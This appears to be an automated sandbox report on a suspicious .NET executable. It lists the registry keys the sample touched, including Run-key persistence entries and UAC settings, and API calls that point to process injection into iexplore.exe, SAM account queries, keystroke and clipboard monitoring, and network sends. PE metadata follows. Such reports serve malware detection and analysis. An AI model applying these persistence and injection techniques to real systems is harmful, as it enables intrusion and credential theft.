HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\SafeProcessSearchMode
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Codepage
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\932
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\949
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\950
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\936
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VBA\Monitors
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\UACDisableNotify
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
HKEY_CURRENT_USER\Software\Microsoft\Visual Basic\6.0
HKEY_CURRENT_USER\Software\Microsoft\Visual Basic\6.0\AllowUnsafeObjectPassing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\DisableUserModeCallbackFilter
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\UseDefaultTile
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT\UserEra
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Policies\Microsoft\Control Panel\International\Calendars\TwoDigitYearMax
HKEY_CURRENT_USER\Control Panel\International\Calendars\TwoDigitYearMax
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\fr-FR
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\fr-FR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\FeatureSIMD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F363E4E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\SafeProcessSearchMode
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\932
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\949
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\950
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\936
HKEY_CURRENT_USER\Software\Microsoft\Visual Basic\6.0\AllowUnsafeObjectPassing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe\DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\UseDefaultTile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\fr-FR
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\fr-FR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\UACDisableNotify
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
HKEY_CURRENT_USER\Software\Microsoft\Visual Basic\6.0
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.SetDefaultDllDirectories
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
kernel32.dll.AcquireSRWLockExclusive
kernel32.dll.ReleaseSRWLockExclusive
advapi32.dll.EventRegister
advapi32.dll.EventSetInformation
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationW
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.AddDllDirectory
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
kernel32.dll.GetFullPathNameW
uxtheme.dll.IsAppThemed
kernel32.dll.CreateActCtxA
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
user32.dll.RegisterWindowMessageW
ole32.dll.CoCreateGuid
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.CompareStringOrdinal
kernel32.dll.SetThreadErrorMode
kernel32.dll.GetFileAttributesExW
kernel32.dll.ResolveLocaleName
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipLoadImageFromStream
windowscodecs.dll.DllGetClassObject
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageType
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.CreateProcessW
kernel32.dll.GetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.VirtualAllocEx
kernel32.dll.WriteProcessMemory
kernel32.dll.SetThreadContext
kernel32.dll.ResumeThread
ole32.dll.CoWaitForMultipleHandles
advapi32.dll.EventUnregister
sechost.dll.LookupAccountNameLocalW
gdiplus.dll.GdipDisposeImage
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
cryptsp.dll.CryptReleaseContext
oleaut32.dll.OleLoadPictureEx
oleaut32.dll.DispCallFunc
oleaut32.dll.LoadTypeLibEx
oleaut32.dll.UnRegisterTypeLib
oleaut32.dll.CreateTypeLib2
oleaut32.dll.VarDateFromUdate
oleaut32.dll.VarUdateFromDate
oleaut32.dll.GetAltMonthNames
oleaut32.dll.VarNumFromParseNum
oleaut32.dll.VarParseNumFromStr
oleaut32.dll.VarDecFromR4
oleaut32.dll.VarDecFromR8
oleaut32.dll.VarDecFromDate
oleaut32.dll.VarDecFromI4
oleaut32.dll.VarDecFromCy
oleaut32.dll.VarR4FromDec
oleaut32.dll.GetRecordInfoFromTypeInfo
oleaut32.dll.GetRecordInfoFromGuids
oleaut32.dll.SafeArrayGetRecordInfo
oleaut32.dll.SafeArraySetRecordInfo
oleaut32.dll.SafeArrayGetIID
oleaut32.dll.SafeArraySetIID
oleaut32.dll.SafeArrayCopyData
oleaut32.dll.SafeArrayAllocDescriptorEx
oleaut32.dll.SafeArrayCreateEx
oleaut32.dll.VarFormat
oleaut32.dll.VarFormatDateTime
oleaut32.dll.VarFormatNumber
oleaut32.dll.VarFormatPercent
oleaut32.dll.VarFormatCurrency
oleaut32.dll.VarWeekdayName
oleaut32.dll.VarMonthName
oleaut32.dll.VarAdd
oleaut32.dll.VarAnd
oleaut32.dll.VarCat
oleaut32.dll.VarDiv
oleaut32.dll.VarEqv
oleaut32.dll.VarIdiv
oleaut32.dll.VarImp
oleaut32.dll.VarMod
oleaut32.dll.VarMul
oleaut32.dll.VarOr
oleaut32.dll.VarPow
oleaut32.dll.VarSub
oleaut32.dll.VarXor
oleaut32.dll.VarAbs
oleaut32.dll.VarFix
oleaut32.dll.VarInt
oleaut32.dll.VarNeg
oleaut32.dll.VarNot
oleaut32.dll.VarRound
oleaut32.dll.VarCmp
oleaut32.dll.VarDecAdd
oleaut32.dll.VarDecCmp
oleaut32.dll.VarBstrCat
oleaut32.dll.VarCyMulI4
oleaut32.dll.VarBstrCmp
ole32.dll.CoCreateInstanceEx
ole32.dll.CLSIDFromProgIDEx
sxs.dll.SxsOleAut32MapIIDOrCLSIDToTypeLibrary
user32.dll.GetSystemMetrics
user32.dll.MonitorFromWindow
user32.dll.MonitorFromRect
user32.dll.MonitorFromPoint
kernel32.dll.GetModuleHandleA
kernel32.dll.GetProcAddress
kernel32.dll.SetProcessDEPPolicy
user32.dll.CallWindowProcA
psapi.dll.EnumProcesses
kernel32.dll.OpenProcess
kernel32.dll.CloseHandle
psapi.dll.EnumProcessModules
psapi.dll.GetModuleBaseNameA
oleaut32.dll.#2
oleaut32.dll.#500
version.dll.VerQueryValueA
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
ole32.dll.StringFromGUID2
kernel32.dll.NlsGetCacheUpdateCount
kernel32.dll.GetCurrentProcess
advapi32.dll.LookupPrivilegeValueA
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.CreateMutexA
kernel32.dll.WaitForSingleObject
kernel32.dll.GetFileAttributesW
kernel32.dll.CreateDirectoryW
kernel32.dll.Sleep
kernel32.dll.SetFileAttributesW
advapi32.dll.RegCreateKeyW
advapi32.dll.RegSetValueExW
kernel32.dll.RtlMoveMemory
user32.dll.SetTimer
ws2_32.dll.WSAStartup
user32.dll.CreateWindowExA
user32.dll.SetWindowLongA
kernel32.dll.GetVersion
shell32.dll.#261
secur32.dll.GetUserNameExW
advapi32.dll.LsaOpenPolicy
advapi32.dll.LsaQueryInformationPolicy
advapi32.dll.GetLengthSid
advapi32.dll.CopySid
advapi32.dll.LsaFreeMemory
advapi32.dll.LsaClose
samlib.dll.SamConnect
rpcrt4.dll.NdrClientCall2
rpcrt4.dll.RpcStringBindingComposeW
rpcrt4.dll.RpcBindingFromStringBindingW
rpcrt4.dll.RpcStringFreeW
rpcrt4.dll.RpcBindingFree
samlib.dll.SamOpenDomain
samlib.dll.SamCloseHandle
samlib.dll.SamLookupNamesInDomain
samlib.dll.SamFreeMemory
samlib.dll.SamLookupIdsInDomain
samlib.dll.SamOpenUser
samlib.dll.SamQueryInformationUser
ole32.dll.CoGetMalloc
ole32.dll.PropVariantClear
propsys.dll.VariantToPropVariant
oleaut32.dll.#9
propsys.dll.PropVariantToUInt32
user32.dll.CreateWindowExW
user32.dll.RegisterRawInputDevices
shell32.dll.#181
user32.dll.SetClipboardViewer
kernel32.dll.GetCalendarInfoW
user32.dll.SendMessageA
ws2_32.dll.htons
ws2_32.dll.inet_addr
ws2_32.dll.socket
ws2_32.dll.connect
ws2_32.dll.WSAAsyncSelect
ws2_32.dll.inet_ntoa
kernel32.dll.lstrlenA
ws2_32.dll.send
user32.dll.PostMessageA
ws2_32.dll.closesocket
user32.dll.GetLastInputInfo
kernel32.dll.GetTickCount
"{path}"
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe "{path}"
C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
C:\Program Files\Internet Explorer\iexplore.exe C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
G2G228Q5-P8H1-G1U7-U4L6-D1K007E3Y0Y8

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x00444862 0x00000000 0x0004f001 4.0 2020-06-30 04:15:24 f34d5f2d4577ed6d9ceec516c1f5a744 d7fa4c61eee64a320960111c1c362842 920c3027c18f1b01bd763db3bf5579e5

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00000200 0x00002000 0x00042868 0x00042a00 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 7.83
.rsrc 0x00042c00 0x00046000 0x000041a8 0x00004200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ 6.53
.reloc 0x00046e00 0x0004c000 0x0000000c 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ 0.10

Resources

Name Offset Size Language Sub-language Entropy File type
RT_ICON 0x00047670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00047670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00047670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_GROUP_ICON 0x00049c28 0x00000030 LANG_NEUTRAL SUBLANG_NEUTRAL 2.46 None
RT_VERSION 0x00049c68 0x0000033e LANG_NEUTRAL SUBLANG_NEUTRAL 3.35 None
RT_MANIFEST 0x00049fb8 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL 5.00 None

Imports


Assembly Information

Name Hlhf
Version 1.98.4.0

Assembly References

Name Version
mscorlib 4.0.0.0
System.Windows.Forms 4.0.0.0
System 4.0.0.0
System.Drawing 4.0.0.0
System.Xml 4.0.0.0
System.Data 4.0.0.0

Custom Attributes

Type Name Value
Assembly [mscorlib]System.Reflection.AssemblyTitleAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyProductAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyCopyrightAttribute Copyright \xa9 2017 - 20
Assembly [mscorlib]System.Runtime.InteropServices.GuidAttribute D7AFF0CC-F635-4140-A9B4-0FEA7D211F
Assembly [mscorlib]System.Reflection.AssemblyFileVersionAttribute 1.98.4

Type References

Assembly Type Name
mscorlib System.Runtime.CompilerServices.CompilationRelaxationsAttribute
mscorlib System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
mscorlib System.Diagnostics.DebuggableAttribute
mscorlib System.Diagnostics.DebuggableAttribute/DebuggingModes
mscorlib System.Reflection.AssemblyTitleAttribute
mscorlib System.Reflection.AssemblyDescriptionAttribute
mscorlib System.Reflection.AssemblyConfigurationAttribute
mscorlib System.Reflection.AssemblyCompanyAttribute
mscorlib System.Reflection.AssemblyProductAttribute
mscorlib System.Reflection.AssemblyCopyrightAttribute
mscorlib System.Reflection.AssemblyTrademarkAttribute
mscorlib System.Runtime.InteropServices.ComVisibleAttribute
mscorlib System.Runtime.InteropServices.GuidAttribute
mscorlib System.Reflection.AssemblyFileVersionAttribute
mscorlib System.Runtime.Versioning.TargetFrameworkAttribute
System.Windows.Forms System.Windows.Forms.Form
mscorlib System.Collections.Generic.List`1
System System.ComponentModel.IContainer
System.Windows.Forms System.Windows.Forms.ComboBox
System.Windows.Forms System.Windows.Forms.Label
System.Windows.Forms System.Windows.Forms.Button
System.Windows.Forms System.Windows.Forms.ListBox
mscorlib System.Object
mscorlib System.EventArgs
mscorlib System.Decimal
mscorlib System.Enum
mscorlib System.Runtime.CompilerServices.CompilerGeneratedAttribute
mscorlib System.Diagnostics.DebuggerBrowsableState
mscorlib System.Diagnostics.DebuggerBrowsableAttribute
mscorlib System.Collections.Generic.List`1/Enumerator
mscorlib System.Reflection.Assembly
mscorlib System.Type
mscorlib System.Reflection.MethodInfo
mscorlib System.STAThreadAttribute
System System.CodeDom.Compiler.GeneratedCodeAttribute
mscorlib System.Diagnostics.DebuggerNonUserCodeAttribute
mscorlib System.Resources.ResourceManager
mscorlib System.Globalization.CultureInfo
System.Drawing System.Drawing.Bitmap
System System.ComponentModel.EditorBrowsableState
System System.ComponentModel.EditorBrowsableAttribute
System System.Configuration.ApplicationSettingsBase
System.Windows.Forms System.Windows.Forms.DataGridView
System.Windows.Forms System.Windows.Forms.DataGridViewTextBoxColumn
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventArgs
System System.ComponentModel.INotifyPropertyChanged
System System.ComponentModel.PropertyChangedEventHandler
mscorlib System.Collections.Generic.IList`1
mscorlib System.Collections.Generic.ICollection`1
mscorlib System.Collections.Generic.IEnumerable`1
mscorlib System.Collections.IEnumerable
mscorlib System.Guid
System System.ComponentModel.BindingList`1
System System.ComponentModel.ListSortDirection
System System.ComponentModel.PropertyDescriptor
mscorlib System.IComparable
System.Windows.Forms System.Windows.Forms.GroupBox
System.Windows.Forms System.Windows.Forms.TextBox
mscorlib System.Exception
System.Windows.Forms System.Windows.Forms.DataGridViewRow
System.Windows.Forms System.Windows.Forms.DataGridViewCellStyle
System.Xml System.Xml.Serialization.XmlSerializer
System.Data System.Data.DataSet
System.Data System.Data.DataTable
System.Windows.Forms System.Windows.Forms.BindingSource
System.Windows.Forms System.Windows.Forms.ListBox/ObjectCollection
System.Windows.Forms System.Windows.Forms.Control
System.Windows.Forms System.Windows.Forms.ListControl
mscorlib System.IDisposable
System.Windows.Forms System.Windows.Forms.AutoCompleteMode
System.Windows.Forms System.Windows.Forms.AutoCompleteSource
System.Drawing System.Drawing.Point
System.Drawing System.Drawing.Size
mscorlib System.EventHandler
System.Windows.Forms System.Windows.Forms.ButtonBase
System.Drawing System.Drawing.SizeF
System.Windows.Forms System.Windows.Forms.ContainerControl
System.Windows.Forms System.Windows.Forms.AutoScaleMode
System.Windows.Forms System.Windows.Forms.Control/ControlCollection
mscorlib System.Convert
mscorlib System.AppDomain
mscorlib System.Reflection.MethodBase
System System.ComponentModel.Container
System.Windows.Forms System.Windows.Forms.Application
mscorlib System.RuntimeTypeHandle
System System.Configuration.SettingsBase
System.Windows.Forms System.Windows.Forms.ControlBindingsCollection
System.Windows.Forms System.Windows.Forms.Binding
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventHandler
System System.ComponentModel.ISupportInitialize
System.Windows.Forms System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewColumnCollection
System.Windows.Forms System.Windows.Forms.DataGridViewColumn
System.Windows.Forms System.Windows.Forms.DataGridViewBand
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnMode
System.Drawing System.Drawing.Font
System.Drawing System.Drawing.FontStyle
System.Drawing System.Drawing.GraphicsUnit
mscorlib System.Delegate
mscorlib System.Threading.Interlocked
System System.ComponentModel.PropertyChangedEventArgs
mscorlib System.Collections.ObjectModel.Collection`1
System.Windows.Forms System.Windows.Forms.DataGridViewRowCollection
mscorlib System.Math
mscorlib System.String
mscorlib System.Comparison`1
System System.ComponentModel.ListChangedEventArgs
System System.ComponentModel.ListChangedType
mscorlib System.StringComparison
System.Windows.Forms System.Windows.Forms.MessageBox
System.Windows.Forms System.Windows.Forms.DialogResult
System.Data System.Data.DataRowCollection
System.Data System.Data.DataRow
System.Windows.Forms System.Windows.Forms.BorderStyle
System.Windows.Forms System.Windows.Forms.TextBoxBase
System.Windows.Forms System.Windows.Forms.ScrollBars
System.Drawing System.Drawing.Color
System.Windows.Forms System.Windows.Forms.DataGridViewTriState
System.Windows.Forms System.Windows.Forms.DataGridViewSelectedRowCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCellCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCell
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnsMode
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeRowsMode
System.Windows.Forms System.Windows.Forms.DataGridViewContentAlignment
System.Drawing System.Drawing.SystemColors
System.Windows.Forms System.Windows.Forms.DataGridViewEditMode
System.Windows.Forms System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewSelectionMode
System.Windows.Forms System.Windows.Forms.FormStartPosition
System.Windows.Forms System.Windows.Forms.FormBorderStyle
System.Windows.Forms System.Windows.Forms.FormClosingEventHandler
System.Data System.Data.XmlReadMode
System.Data System.Data.DataTableCollection
System.Windows.Forms System.Windows.Forms.DockStyle

!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
*BSJB
v4.0.30319
#Strings
#GUID
#Blob
IEnumerable`1
ICollection`1
Comparison`1
IList`1
SortableBindingList`1
label1
Form1
dataGridView1
groupBox1
label2
button3
Class3
get_unify4
<Module>
SizeF
labelTM
textBoxTM
SDSDSDS
CVVVVVVVVV
value__
System.Data
SaveData
mscorlib
System.Collections.Generic
get_Id
add_Load
OrderForm_Load
buttonAdd
OnListChanged
add_SelectedIndexChanged
lstOrder_SelectedIndexChanged
cbMenus_SelectedIndexChanged
add_PropertyChanged
remove_PropertyChanged
INotifyPropertyChanged
Interlocked
set_Enabled
